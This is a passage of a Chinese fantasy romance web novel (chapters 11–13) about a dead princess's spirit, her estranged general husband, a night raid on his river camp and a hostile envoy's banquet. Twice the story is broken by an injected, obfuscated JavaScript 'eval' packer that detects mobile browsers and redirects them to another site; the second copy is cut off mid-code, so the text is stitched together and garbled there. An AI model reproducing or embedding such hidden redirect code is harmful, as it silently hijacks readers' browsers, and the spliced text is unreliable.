只是,虞辞看着她,却没来由的有一种感觉。 她……太朦胧了。 朦胧到轻飘飘的,阳气全无,似乎下一刹就要散了。 怎么回事? 虞辞道:“你失踪十二载,白帝甘居灵台山十二载,你们身上,到底发生了什么?” “也没什么。”一提起这个,暮兮晚声音有些沉闷,她换了个姿势躺在树干上,别开了目光,道,“我与楚扶昀达成了合作,他帮我回方外宫,我帮他救个人。” 虞辞道:“救谁?” 暮兮晚一怔,道:“救他心上人。” “哦,救你。”虞辞可算明白这丫头身上若即若离的朦胧感是怎么回事了,“原来你死了。” 暮兮晚压根不承认:“不是救我,是救他心上人,他一切的所作所为,也都不是为了我。” 虞辞气笑了:“有没有一种可能。” “他在灵台山等了十二年的那个人,就是你。” 天光暗着,漏过树影,支离破碎地落在她们身上,鎏金色的光,寂静又淡然。 暮兮晚静静听着,没吭声,也没反驳。 虞辞却还在说话,她本不想干涉别人夫妻之间的事,但还是忍不住开口了——她不是一个很能藏得住心事的人,生平最不喜的就是虚与委蛇,在感情上,也一样。 “十二年前,你销声匿迹,与此同时,他那样骄傲的一个人,却甘愿放弃了即将大全获胜的战役,强闯幽冥寻人,又长居灵台山,沦为天下笑柄。” 暮兮晚侧着身,目光看向远方,依旧没说话。 虞辞的话,像一句又一句的禅机,敲在她心上。 “你却说他是为了别人?你不觉得这话离谱吗?心有他人,却与你不清不楚?” “除非你告诉我,他表里不一金玉其外败絮其中,否则,他的心上人除了你,我想不到别的答案。” 虞辞一边说,一边凭借着她所知的只言片语,来梳理着其间因果。 “你不要去凭空捏造一个不存在的‘第三人’,动脑筋想想呢?” 暮兮晚垂下眸,避开虞辞的视线。 “都是聪明人,少宫主,这个时候,你平日里那颗伶俐敏锐的七窍玲珑心去哪儿了?” 虞辞不依不饶,非要逼着她直面问题。 “有没有可能,从一开始,他一心想救的那个人,只有你啊。” 一时间,二人寂静。 金灿灿的日光,柔软又明亮,披在暮兮晚身上,像披着一身金色的轻纱。 “虞辞,你才是那个不动脑筋的人。” 她懒洋洋地倚在阳光里,一只手搭在额间,忽得扑哧一笑。 可眼里,却没半分笑意。 “你觉得,我真的没有认真去想过么?” 虞辞眉心微蹙,一愣。 暮兮晚转了眸,目光透过树梢掠向远方,从这里高高俯视望去,刚刚好能看见远处请花关的临江军营。 “我怎么可能不去猜呢,猜楚扶昀对我,到底是什么样的感情。” 她望着军营,看见了连绵如云的帐篷,看见了来来往往的仙兵仙将,再远望一点儿,就是茫茫无边无际的江水了。 只是,怎样也看不见他。 “不得不承认,若能被他这样的人喜欢,从来都不是一件很让人讨厌的事,毕竟,他确实卓尔不群,骄傲,自有风骨。” 暮兮晚闭上眼睛,一 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“我要他对我的感情,不掺杂任何利益,算计与欺瞒,没有半点儿虚情假意。” “我想要的,是他对我,有最纯粹的喜欢。” 暮兮晚呼出一口气,回过目光看向虞辞,神情认真。 “但是,我也明白,他给不了我这种很纯粹的感情。” “所以我不要了,不要他的喜欢了。” 虞辞反驳:“我听说,他为你在灵台山几度求死。” 暮兮晚笑道:“虞辞,你觉得他当真是因‘爱’殉情的么?别傻了。” 虞辞哑然沉默。 暮兮晚道:“楚扶昀干不出‘殉情’这事儿的,他寻死定然还有别的缘故,只是他没提过,我也不想问。” “所以他一心想救的那个人,是我也好,不是我也好,不重要。” 她又深深呼出一口气,将心里最后的话,说出口了。 “他若付出了什么代价来救我,我会想办法,还的。” “我会还清与他的因果。” 虞辞听罢,沉沉一叹,心道原是自己一直以来小瞧她了。 “我去火烧敌方军营这事儿,你应么?”暮兮晚说了一番话,最终,强行将话题转回了最开始的地方。 她与虞辞交浅言深,但也必须承认,这么多年,虞辞也确实算她为数不多的,愿意交付真心的朋友。 虞辞道:“应,我哪儿有不应的份儿?只是你的平安,还望你自己多加珍重。” 暮兮晚听了,唇边露出一弯极好看的笑。 虞辞瞥了一眼道场外,忽然像是看到了什么,抬手扯了扯暮兮晚的衣袖。 “但是在此之前。”虞辞斟酌片刻,到底还是多说了最后一句,“你真的不愿,亲自去问问,他的态度么?” 暮兮晚闻声转眸,顺着虞辞的视线望去,这一望,整个人都怔了。 只见道场外那雪亮的街市上,隔着茫茫人潮,有一队仙神圣人,十二太仙浩浩荡荡穿行而过。 请花关的百姓被这阵仗吓住了,这么多平日里只该出现在道观寺庙里的仙家,连见一面都烧高香的人物,今日现身,怎会不惊不敬? 然而这些仙神哪怕气度如此出众了,却也不敌为首之人的半分光华。 只见率军在队伍最前方的,是一位长身玉立的将军。 他银冠,白甲,苍黄袍,骑仙马。 言念君子,世无其二。 暮兮晚定定地望着他,只一眼,她就认出他了。 那是身处戎马中的楚扶昀,她怎会认不出呢? 她下意识想出声唤他,但声音刚至嘴边,却又止住了。 她想,算了,还是别烦扰他。 可下一瞬,身处人群中的那个人,却忽然扯了一下缰绳,停了步伐。 他像是察觉到了什么,蹙了蹙眉,慢慢回眸朝着道场的方向,望过来了。 楚扶昀看见,一位身着五彩霞衣的姑娘,正坐在一棵花树上,远远地看着他。 天将晚,入暮时,正是人间苍黄色。 两个人在天光云影下,避无可避地对视了一眼。 只一眼,目光相接,暗流涌动。 许是夕光太暖,暮兮晚倏然感到脸颊有些温热,她敛眸等了一会儿,又抬起眸子。 他还在看她,没走。 似乎是…… 只要她不过去,那他就为她一直停在这儿,不走了。 11. 江水汤汤问情乱心 夕照沉西,天光逝去。 暮兮晚心绪一乱,隐隐浮起一线念头,她缓了缓,从花树上跃下来,穿过喧闹热闹的人群街巷,走到了他面前。 “将军。”她客气疏离地向楚扶昀打了声招呼,偏头往后看了看,一队人马,基本都是楚扶昀在白洲时的麾下部将,有些人她认得,有些认不得。 楚扶昀点头颔首,目光一瞥,立时便有仙将牵着另一匹仙马过来,暮兮晚迟疑了一下,也轻轻松松跃上马,与他并辔而行。 “忽然出来,是出了什么事么?”他问道。 暮兮晚想了想,道:“没事,出来走走,碰巧见到虞辞在忙着在灌溉一棵树,与她说了几句话。” 楚扶昀一听,便明白她是指那座道场里的树,轻声解释道:“那是东洲的镇洲神珍,木岁树。” 暮兮晚皱了皱眉,道:“镇洲神珍?木岁树?” 楚扶昀道:“它是三十三重天上的木岁星应运下凡,主世间福庆,逢凶化吉。” 暮兮晚听得诧异,吞咽一下,磕绊道:“是不是……超贵。” 楚扶昀掀了掀眼帘,不着痕迹地瞥了她一眼,又扬眸,轻声道:“天地间仅此一棵,再多仙物异宝,都不及此树万一。” 暮兮晚:“……” 她听得云里雾里,还是飘乎乎的没什么概念。 楚扶昀沉声一笑,又添了一句:“可能要赔进整个方外宫。” 暮兮晚:“……” 谢谢,现在有概念了。 这树比她想象中的,还要宝贝稀罕。 “不是!这么个无价之宝?怎么不藏在一个更稳妥的地方!”暮兮晚又想起自己干得荒唐事儿,不由得想尖叫了! 她要知道这树来历,又怎敢造次啊! 楚扶昀思忖半晌,道:“木岁临世自有机缘造化,大抵,是东洲都主不愿轻易干涉它的因果。” 暮兮晚垂着头,神情有些恍惚:“它的因果就是被我当成发财树,还被我轻而易举浇焉了,如今还快死了……” 楚扶昀闭目一笑,沉声道:“倒也未必是因你而死,木岁下凡已有三百余载,逗留太久,早该自陨而去,回归三十三重天。” “东洲都主想必也明白此事,所以才未曾过分苛责于你。” 他说得轻描淡写,是让她不必介怀。 暮兮晚不由得感慨,她无意间闯了这番祸事,虞辞的态度居然只是冲出东洲追着她打,当真很是仁善慈悲心了! 她叹了一口气,有些恹恹的,一路上,也就没再说别的话了。 暮色更沉时,她随着楚扶昀抵达了请花关外的临江军营。 江面很宽很广,海一样望不见尽头,江上有茫茫雾气,风一吹,凉爽又舒适。 楚扶昀抬眸瞥了一眼天色,道:“我今夜要在江上整军,你若独自一人无趣,我待会儿便遣人送你回馆驿。” 暮兮晚咬了下唇,半晌,轻声说了一句:“不必。” 声音太低了,楚扶昀仿佛没听清,转眸望着她:“什么?” 暮兮晚闭了闭眼,没有立刻答他。 有时候她真觉得楚扶昀这个人坏透了,有些话,就非得逼她说得清楚明白,不给她似是而非的转圜余地。 “不必送我。”她像是鼓起了勇气,又尽量让自己看起来平淡,“我宿在你这儿,也一样。” 这话一出,暮兮晚察觉到身边的人几不可察地叹了一气。 “好。”良久后,楚扶昀才轻声应下。 暮兮晚没再看他,也没接话,两个人之间是漫长的缄默。 非要再找话说下去,就该是生疏的客气话了。 她进了军营后自顾自下了马,朝着井井有条营帐间走去。 “阿晚姑娘——!” 走了一半儿,暮兮晚忽听见有人出声唤自己,回头一看,只瞧见在一座军帐帐顶上,趴着一位半大少年,容貌英秀,眉开眼笑的,朝着她遥遥挥手。 “好久不——!” 后半句话没说完,这少年目光瞥见暮兮晚身后的人,神情一僵,像是看到了什么洪水猛兽,霎时变了脸。 他忙不迭一个纵身跳下,规规矩矩弯腰作揖,客气行礼。 “北落山神农一族第八十八代弟子神农岐,拜见少宫主。” 神农岐身着紫衣,衣间挂着不少银饰,一动,丁零当啷地响。 暮兮晚啼笑皆非,她回眸一看,只见楚扶昀居高临下地冷冷瞥了这少年一眼,不轻不重地说道。 “举止惫懒,自请军法。” 他说罢,头也没回的,转身离开了。 神农岐腰弯得更低了,汗流浃背的,只想大呼一声将军卑职冤啊! 控告无路,申诉无门,喊冤也没用。 暮兮晚认得他。 神农岐,药王神农一族的门下弟子,早个年间在十洲顶顶有名的风云人物,心性顽劣,曾搅得万仙来朝大会天翻地覆,谁也不服,谁也不怕,任凭对方是何势力,都敢惹一惹。 他这一惹,就惹到了刚刚嫁去白洲的暮兮晚。 暮兮晚也不是个白受委屈的性子,用了番谋划将人擒住,正准备思索怎么好好收拾这人的时候,楚扶昀笑着出现了。 神农岐被揍了一顿。 老实了。 后来,听说神农岐大概是自愿的归顺了楚扶昀麾下,成了他手下让人闻风丧胆的十二太仙之一。 神农岐此时此刻仍是弯腰作揖,一动也不敢动,暮兮晚回头看了看,又看回来,戳了戳他的手,安慰道。 “喂,将军走了,你不用端着了。” 神农岐顿时整个人一松,如释重负的吐了口气儿,差点儿没将魂儿也一并吐出来。 “阿晚姑娘。”他伸了个懒腰舒展筋骨,笑得像只狐狸似的,“真的是许久不见了,走,晚上咱俩纳凉去。” 今晚薄云断绝,夜风飒爽,正是乘凉好时节。 楚扶昀麾下文臣武将众多,暮兮晚认不太全,但称得上投缘的,神农岐算得上一位——比如每逢好夜色,两个人常坐在一起挖冰西瓜吃。 “不去。”暮兮晚回答的干脆利落。 神农岐皱眉道:“为何?没事咱们别告诉将军就成,他总不至于这么小气?” 他当然至于! 暮兮晚心道,小伙子啊你还没被楚扶昀的军法收拾够么? 她记得,楚扶昀一向带兵严苛整肃,可偏偏神农岐还算半个医官,身上规矩没寻常仙兵仙将那么多,偶尔和她一起胡作非为,被楚扶昀瞧见过那么一两回。 却不知为何,他每回心情似乎都看上去算不上太好。 暮兮晚道:“我如今饮不了珍馐佳酿。” 这是实话,她作为一个魂儿实在没办法吃东西。 “成吧,那阿晚姑娘帮我看看兵器呗。”神农岐似乎没打算多问其间缘故,只是又另寻了个话由,“你不在,我的药箱都没人帮忙修了。” 暮兮晚应得很爽快:“行。” 神农岐的药箱还是她在白洲时帮忙做的,费了不少心思,这个倒是小事一桩。 他们干脆就近找了一处明亮篝火旁坐下,暮兮晚寻了趁手工具,抱着神农岐的药箱着手开始修缮起来。 一边修,一边叙旧。 暮兮晚问道:“这十二年,你们可好?” 神农岐乖乖巧巧抱膝而坐,道:“还行吧,白帝离开白洲后,势力折损了一部分,但我们忠于将军,又不忠于帝微垣,只要能回白洲,重新拿下帝微垣也不过顺手之举。” “没了楚将军的白洲,不过一群乌合之众罢了。”他说得分外张狂。 暮兮晚听着挺羡慕。 千洲军权一直都在袁涣轩手里,她自己麾下势力都不善作战,如今零零散散也不知道怎样了,若想调人,起码得等去了半灯城以后才有机会。 两人就这样你一搭我一搭的说着话,暮兮晚专心致志修缮了半晌,忽听见隐隐动乱声,一抬头,却见远处江岸上人头攒动,像是出了什么乱子。 “发生何事了?”她心里一惊,手间动作不自觉停了。 “小事儿,敌军夜袭。”神农岐打了个哈欠,似乎完全没将这事儿放在心上。 暮兮晚大骇,她头一次听见有人说“偷袭”说得这么风轻云淡的! 这心也太大了吧! 远处江面的动乱越来越大,隐隐的,脚步声四 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暮兮晚怔住:“什么?” “我接到的生死军令,可以脱离行军队伍,可以不参与任何行动,但唯有一条——” 神农岐眸光一暗,语气严肃。 “我得确保您的平安。” 真离谱。 暮兮晚可算明白为何从进军营开始,这家伙就一直找借口同她呆在一处了,原来是为了这个。 “他有病!你别理他!”她声音有点儿恼,说起话来也口不择言,“我是没了身躯没了法力,但也还没脆弱到一举一动都要人护着的地步。” 神农岐武艺高强,医术不差,楚扶昀麾下心腹有十二位太仙,若真要论个高下,他能排到前一二。 可楚扶昀就这样轻飘飘留下了这位心腹,只为了保证她的平安。 荒唐。 神农岐依旧不为所动。 对于将军下过的令,他一向执行的完美,不出分毫岔子。 暮兮晚嗤笑一声:“他小瞧我,你也要?” “阿晚姑娘,我不明白。”神农岐皱着眉,似乎看上去有发自心底的困惑,反问道,“区区一场夜袭而已,将军不会有任何闪失,甚至都不需要他亲自上阵出手。” “您应该是最清楚他实力的那个人。” 暮兮晚一怔,方才下意识的慌张也止住了。 她愣愣地抬眸,只见神农岐看着她,眉目里满是由衷的不解。 “您到底,在急什么?”他问。 暮兮晚不吭声了。 她只是安静地站在原地,垂了垂眸,半晌后,才慢慢说道。 “我……不喜欢这种被拘束的感觉,仿佛易碎的花瓶一样,生怕有一点儿闪失。” “我只是死了而已,又不是真成了花瓶。” 神农岐:“……” 不,我觉得这事儿咱们得重新措辞。 什么叫“只是死了而已”?生死大事请您看得严重一点儿可以吗! 您是只有个魂儿啊!一旦被法术打中即刻魂飞魄散捞都捞不回来的魂儿啊! 两人僵持不下,直至东方鱼肚白,有一线天光亮起。 渐渐的,江面上营帐间的所有动荡都平息了,似乎是夜袭终于结束了。 在确认周遭一切安好后,神农岐撤了护身结界,领着她一路畅通无阻地穿过层层阡陌帐间,带着她来到了最高最端肃的主君营帐前。 “将军在里面等您。”有仙兵恭敬道。 暮兮晚颔首,她走上前掀帘往里望去,一定神,正看见楚扶昀坐在案前,一手扶着额间,眉心紧簇,双眸紧闭,似乎是不太舒服。 她下意识想问他是不是受伤了。 话未开口,又咽回去——她想起昨夜敌方来袭,或许是一场水战。 是他又晕船了。 似乎是听见熟悉的脚步声,他抬眸看向她,尽力一笑,神情有些倦意。 案上有灯,在烛灯下,他好看得有些朦胧。 可这一回,她身上没带橘子了呀。 12. 江水汤汤问情乱心 楚扶昀会晕船这事儿,称得上他的一个弱点。 整个十洲境内,知晓此事的人寥寥无几。 “你还好么。”暮兮晚掀帘步进帐内,只见楚扶昀案前放着一摞纸墨公文,他一只手撑着额间,垂着眸,另一只手正在翻阅军务。 听见她的声音,他抬起眸,将案前文书搁置在一边,笑了笑。 “老毛病。”他轻描淡写地答道。 暮兮晚进帐后又见案边地上架着一尊红泥小炉,走过去弯腰掀盖一看,叹了口气——果然是空的。 这次身上没带橘子,煮壶茶也好,可茶叶在哪儿来着?还在老地方么? 她直起身,在军帐里转了半圈儿,熟稔地从某个角落里的行军箱中翻出茶叶茶具,亲自沏了水,蹲在一旁烹茶。 楚扶昀就这样看着她,也没拦。 暮兮晚当然不是第一次来他军帐。 她拿这里简直当自己家,熟的不能再熟了。 以前在白洲时,楚扶昀带兵平乱时本来从不带她,况且,她也不善兵法。 直至有一次,暮兮晚听说楚扶昀要再出征的地方,是千洲的某座城池时,吓得一个激灵,立即想了个法子改头换面混进行伍里,偷偷摸摸跟了上来。 然后就被楚扶昀一眼瞧见。 不知他是怎样认出她的,总之,她在众目睽睽下被逮了出来。 两人在帐篷里对峙。 暮兮晚铿锵有力地强调:“你要打的那座千洲城池,那是我的地盘!” 楚扶昀面不改色:“嗯,它前些日子已被袁涣轩收入麾下了。” 暮兮晚不依不饶:“那也是我师兄的地盘!他的就是我的!” 这话不知哪里惹了他,楚扶昀的脸色一下子就沉了,他唇角冷冷一扯,声音微凉。 “没得商量。”语气不容质疑。 暮兮晚有点儿恼:“你开战了,伤得是我千洲的子民。” 她说罢,往帐中的榻上一坐,颇有一副耍赖的架势:“你还我城池,不还我就不走了。” 楚扶昀对她的要求置若罔闻,只是转身拂袖而去,临走时,厉声斥了一句。 “少宫主,在没想清楚你的身份与立场前,你没有同我谈判的资格。” 他将她扔在帐篷里,派了人看着,算是软禁。 楚扶昀麾下的十二太仙知晓了此事,纵使满腔困惑也只能生生咽回去——众所周知,将军的军帐一向是最高级别的军机重地,从不让外人碰半点儿,更别提宿在里面儿了。 唯独暮兮晚不知道。 谁让楚扶昀从没说过呢。 她孤零零地住在他军帐中,眼睁睁看着他兵不血刃地夺了原本属于袁涣轩的城池,心里担忧,却无计可施。 可直到那场战役结束了,她也什么都没想明白。 她不明白,楚扶昀想听的话是什么,他所说的“身份与立场”又究竟是什么。 …… 红泥小炉汩汩沸水了。 暮兮晚忙收回飘忽的思绪,注意力回到炉子上——温度恰好,再烫一分,茶就不好喝了。 分茶,点茶,平日里喜欢捣鼓这些,做起来,也就行云流水。 两杯茶,一人一杯。 她端了一杯放在楚扶昀书案上,自己则在软席上坐下,她没办法碰任何阳间的珍馐,只能捧着杯子努力闻闻似有若无的茶香味儿。 “怎么不说话。”楚扶昀没动茶,只是扬了扬眉,偏着头,安静地看着她。 他明白,若是神农岐在这儿,她一定还会毫无规矩地补一句——“干杯!” 暮兮晚一怔,迟疑须臾,指尖无意识摩挲着茶杯,慢慢低声道:“怕说了,惹你生气。” 楚扶昀笑了一声,很浅,又淡去了。 “又不是头一回。”他垂眸,目光落在她身上,半晌,无可奈何地又添了一句,“你不是,跟神农岐在一起时,话就挺多么。” 暮兮晚微微偏过头,别开了视线,唇角抿了抿,道:“因为他从来都不会生我的气。” “也不和我吵架。”她像想起什么,又赶忙接上一句。 “更不会将我关起来。”不解气,干脆一股脑儿将抱怨全说了。 楚扶昀端起茶,轻抿了一瞬:“嗯。” 他没否认,只是又笑了,目光渐深,言简意骇地问道:“你与我之间的每一次赌气,是谁先妥协?” 暮兮晚头更低了,没有立刻答他,悄悄的,似乎是生出了几分心虚感。 “是你。” 最终,像不肯承认一样,她有些自暴自弃地开口了。 是怎样都想不明白,她蓦地抬眸,迎上他的目光,声音很慢,有茫然,似乎是压了很久却从没说过的困惑。 “你到底……想听我对你说什么。” 这一回,沉默的人成了楚扶昀了。 他敛了笑,神色很平静,瞧不出半分情绪。 “想听你说些,好听的。”他静了片刻,才这样答她。 暮兮晚哑然沉默。 她张了张口,又闭上了,吝啬一般,半个字也没从唇边溜出去。 说不出口。 她有些失落地在心里一叹。 什么是好听的话?哄人的?还是骗人的? “你能不能不要让神农岐跟着我。” 措了半天辞,她有些得寸进尺地冒一句。 “我觉得我一个人没问题。” 话一出口,有点儿后悔,但是,收不回去了。 楚扶昀一挑眉,看上去却半分不惊讶,他只是按了按眉心,叹道:“少宫主,你似乎对‘好听’这两个字有所误解。” 那就没别的话可说了啊。 她想。 暮兮晚自认不是一个很恬静的人,她可以同旧友们谈天说地,把酒言欢,面对着陌生人,也能大大方方说上几句话,半点儿不觉得别扭。 但唯独,在面对楚扶昀时,她的一字一句都显得格外小气。 明明心里不是这么想的,可口不择言,一乱,真正能说出来的,又成了另一句了。 “算了。”终于,还是楚扶昀又妥协了,他收回了目光,重新拾起方才搁置的军务,轻声道,“不难为你。” 他不再同她说话,言下之意,是请她自便。 想回馆驿,或是想出去同神农岐闲话,都不会拦着她。 暮兮晚也没动,就坐在距他身边只有半步远的位置,看着他处理琐碎繁杂的文书,看得很专心,专心到……她把自己看困了。 她不受控制的打了个浅浅的哈欠。 没办法,毕竟看别人工作,真的是一件很容易犯困的事儿。 哪怕看的是楚扶昀也不行。 昨晚夜袭,她提心吊胆地压根没睡,眼下,是真困了。 楚扶昀头也没抬,指尖一点,一道法术划过去。 只见一件干净的苍黄外袍从一旁飘过来,轻轻落在了暮兮晚身边。 暮兮晚也没跟他客气,拉过他的外袍裹在怀里,身子一侧,半蜷着,就在他身边枕着睡下了。 困,本来就是个鬼,阴气不够,更困了。 她很快睡熟了。 楚扶昀听着她似有若无的呼吸声,皱了皱眉。 直至营帐外天色向晚,他方才处理完所有要紧军务。 十二年了,原来的诸多势力部分静默,部分叛变,可调遣的,不算太多。 但不急,慢慢拿回来,也不算难事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320250|167445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他转过眸子,看见暮兮晚还在他枕在身边,毫不设防地沉沉睡着。 眉心很平,像是睡得格外安心。 看了她良久,楚扶昀闭了闭目,随后,他俯身,轻轻向着她抬出了手,似乎是想要碰一碰她。 指尖在距她的脸颊只有方寸距离时,停住了。 像是陷入了犹豫。 怕吵醒她,怕惊着她。 可是,哪怕只有一瞬,也只想确认一下她的存在。 夜色就是有这点儿好,倦怠的思绪,让人有借口做所有清醒时不能做的事。 楚扶昀低眸自嘲一笑,指尖重新探了过去,挨上她的脸颊。 可下一瞬,他的手却径直从她的魂魄中空空荡荡穿进去,碰不到她半分。 楚扶昀皱了皱眉,眸光一寸一寸暗下去。 碰不到她。 毕竟,她死了啊。 死得只剩个魂儿了,在她醒着时还稍微好点,沉睡时,轻飘飘的三魂七魄就半实半虚的,尤为虚弱。 明明是近在咫尺…… 不,哪儿有什么近在咫尺。 是生死相隔。 楚扶昀收回指尖,也敛了目光,他听见帐外有风隐隐吹拂,旋即,帐帘被不动声色地掠开了一角。 他干脆利落地捻了道法术,劈出去。 于是一直在帐外逗留徘徊的神农岐措不及防地被这道法术生生拖进了帐中,他刚想大呼将军卑职有大事禀报,紧接着,楚扶昀目光冰冷的抬手一扬。 又在神农岐身上下了一道禁声诀。 神农岐直呼离谱! 楚扶昀手指竖在唇上,无声比了个“嘘”的动作。 神农岐这才看见枕在将军身边沉眠休憩的暮兮晚。 他霎时老实了下来,只是手舞足蹈的,朝着楚扶昀连比带划,似乎用尽了毕生的肢体语言。 将、军。 有、退、敌、大、事、请、您、论、议! 楚扶昀闻言,沉吟半晌不语,看了一眼暮兮晚,只见她睡得依旧安稳。 他颔首,站起身掀帘走了出去。 黄昏落,一轮明月上东方。 暮兮晚醒来时,军帐里空荡荡的,楚扶昀不知何时已然离开了。 她睁开眼睛,揉了揉,看见神农岐远远坐在帐中的一张方凳上,在自顾自地整理他药箱中的药材。 神农岐听到动静,一抬头,笑眯眯地看着她。 “啊,阿晚姑娘醒啦。” 暮兮晚坐起身,心道他怎么在这儿,一晃神,蓦地又忆起,哦,这家伙的军令是保她的平安来着。 “你在做什么?配药?”她有些好奇地问道。 神农岐道:“五六日后咱们的大军要渡江,我提前为军中兄弟姐妹们备点儿外伤药。” 暮兮晚一听了“渡江”二字,又想起楚扶昀,赶忙道:“你能不能配一点可治眩晕的丹药,嗯……将军他应该不善水战?” 神农岐惊讶道:“不善水战?怎么可能啊!以将军的神通,区区纵风渡海皆是不在话下,他是为调遣兵将,才不得不与我们一道搭船。” 暮兮晚也疑惑了,道:“他不是晕船么!” 神农岐先是懵懵懂懂,心中左思右想,终于后知后觉豁然道:“原来在阿晚姑娘眼中,将军每逢不适所出现的症状叫‘晕船’啊!” “不然呢?”暮兮晚茫然道。 “嗯……从具体表现而言,倒也不无道理。”神农岐托腮沉吟,含忖思索,才方道,“但若按我的说法,将军的不适,也不过是因为……” 他说着,慢慢抬起了头看着暮兮晚,神情异常严肃认真,完全不符他一贯的性子。 “魂魄不稳。” 13. 江水汤汤问情乱心 “魂魄不稳?” 这回轮到暮兮晚惊骇不已了。 与他相处那么久,可真是头一遭听说此事! 神农岐见她神情如此,也是奇怪,道:“他没有主动同你提起过?” 暮兮晚思忆须臾,摇头道:“没有,晕船一事是我自己猜的。” 她声音慢慢低下去,心里却有点不是滋味。 以前在白洲时那么多次机会,他对此半个字都没有提过,瞒她,瞒的滴水不漏。 但转念一想,倒也再正常不过了。 她是千洲的少宫主,一介外人,这般要命的一桩秘密,自然该防着她,况且,她也没那个资格去为他做些什么。 不提起,委实正常。 暮兮晚问道:“他为何会魂魄不稳?严重么?” 神农岐道:“是生来就有的一桩旧疾,谁也不知咋回事,唉,别提啦,我来白洲后也是问诊了好多遍,还特意回了一趟神农氏,才能确诊将军是魂魄不稳。” “不过嘛,这事儿倒不严重,也不致命,只是治不了而已,照我说,你就当将军是单纯的晕船呗,反正和真正的晕船又没两样。” 暮兮晚听得又愁又笑,稍稍安下心来。 “你们大军是五六日后就要渡江么?”她又问。 神农岐对她没防备,很自然地答道:“准确来讲,是第六日的卯时初刻,黎明的第一缕昼光亮起时出兵,三日内,攻下半灯城。” 六日后,卯时初刻。 暮兮晚默默记下了这个时间。 虞辞曾对她说,若你真想潜入敌营火烧兵库,那么,行动得选在楚扶昀军队出兵的前一晚,这样,敌方乱了阵脚,就能打对面一个措手不及。 可如今神农岐接了楚扶昀的军令看着她。 得寻个法子,甩掉神农岐。 正说话间,一道脚步声匆匆从军帐外传来,有一高级仙将在帐帘外跪告,说是求见将军。 神农岐皱了皱眉,他撩开帐帘负手而立,摆出一派高深莫测的仙人气势。 “将军现有军务在身,你所禀是为何事?” 仙将道:“禀太仙,是半灯城派人来了。” 两军交战,双方派遣使者互相往来倒不是稀罕事,或劝降或和谈,皆有之。 神农岐正色道:“来者何人?” 仙将道:“中洲尊主,虞雍。” 这下,暮兮晚与神农岐皆是齐齐变了脸色。 虞雍,虞辞的兄长,亦是太师仲容手下的部将。 如今在这剑拔弩张的时节,此人亲自前来,其目的谁也说不准。 暮兮晚问道:“要告诉将军么?或是虞辞?” 神农岐先是嘶了一声,挠了挠下巴,才摇摇头,道:“用不着,我去会一会那人即可,虞雍算个什么东西?还没那个资格让将军亲自去见。” “少宫主若感兴趣,咱们一起啊?” 他心想自己的最高军令是保证少宫主的安全,若让少宫主孤苦伶仃的一个魂儿到处飘啊飘…… 不行,完全不忍心呢。 暮兮晚乐了:“行啊。” …… 戌时三刻,神农岐设宴相待虞雍。 虞雍一身富贵华服,在仙童的带领下来到宴堂之上。 他听说了楚扶昀离开灵台山的消息,也知晓如今请花关的主将是这位曾经让天下世人无不闻风丧胆的白帝。 那又如何?十二年前,此人还不是为情乱智?就为一女子放跑了他? 蠢货一个。 呵,投靠袁涣轩真是择了明主。 他是中洲尊主,虞辞的血亲,也是一方势力的主事人,楚扶昀若识相,就该倒履相迎,客客气气的请他上座,以礼待之……他甚至设想了楚扶昀见到他时的难看神色。 虞雍暗自得意着,却没想到楚扶昀压根懒得见他。 他一辈子见惯了大人物,知道如何看别人脸色,所以也看得明白请花关军营上下人等对他蔑视,所有的自负傲慢在此刻宛如被当头棒喝——凭什么? 虞雍啧了一声,又熬了个把时辰,才等到神农太仙慢悠悠地踱步而进,身边还带着一女子。 他本来还烦躁,这一瞥,眼睛一下子都看直了。 那女子杏面桃腮,貌若天仙,虽是衣着朴素,却难掩姿色。 虞雍心里那点儿不快顿时烟消云散,他笑一声,暗自问向身边侍从:“那是谁家女郎?” 那侍从是与他一道从半灯城来的,反复打量了那女子几眼后,摇头道:“不认得,但左不过是哪家仙将养的美人,您帐中不也有好几个这般姬妾?” 虞雍道:“果真好姿色。” 侍从立刻溜须拍马:“若尊主您瞧上了,待会儿宴席结束,咱们想个法子讨来?” 虞雍面上得意含笑,眼里隐隐显出觊觎之色。 同神农岐一道进来的暮兮晚却浑然不觉,她易了容,眼下,听见神农岐用了道小法术与她暗中传音交谈。 “你说咱们有没有办法直接在这儿干掉他?”他心中算盘打得噼里啪啦响。 暮兮晚暗中道:“你的想象很美好,且待我去探探虚实。” 宴饮其间,双方推杯换盏,暮兮晚借此装作斟酒仙侍接近了虞雍几次三番,虞雍大喜,亦是愈发垂涎此女子。 暮兮晚回到神农岐身边,道:“杀不了,他身上有不少方外宫的保命法宝,我清楚此法宝的威力,你我都不可妄动。” 与其说是清楚那些法宝的威力,倒不如说那些法宝就是她亲自改造炼化的! 一想到这儿,暮兮晚就不由得头疼——这天底下的顶级法宝大多皆是出自她手,不乏有些被应用于战场上,她原先不觉得怎样,如今,倒颇有些搬起石头砸疼了自己脚的无力感。 酒过数巡,虞雍才真正道明了来意。 “我受仲容所托,想来带走一个人。” 神农岐蹙眉,心中忽然升起了一个不太好的念头。 虞雍道:“我来此,是为带走千洲曾经的少宫主。” 神农岐与暮兮晚皆是面色一变。 暮兮晚委实没想到竟是为了这个,不过仲容起兵,本就是为捉拿她。 神农岐厉声道:“绝无可能!” 虞雍嗤笑道:“你们囚了千洲的少宫主难道不是事实,怎么?堂堂白帝巧取豪夺,难道不是可耻至极?” 神农岐简直想放下所有矜持直接骂人了:“哪里是囚!她一百多年前就嫁来了白洲!别忘了,是你们的主上,你们的祖师!为了方外宫的利益,亲自送她来的!” 虞雍道:“呵,别说的他们有多恩爱一般,太仙难道不知?少宫主与白帝早就姻缘了无,因果两断,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 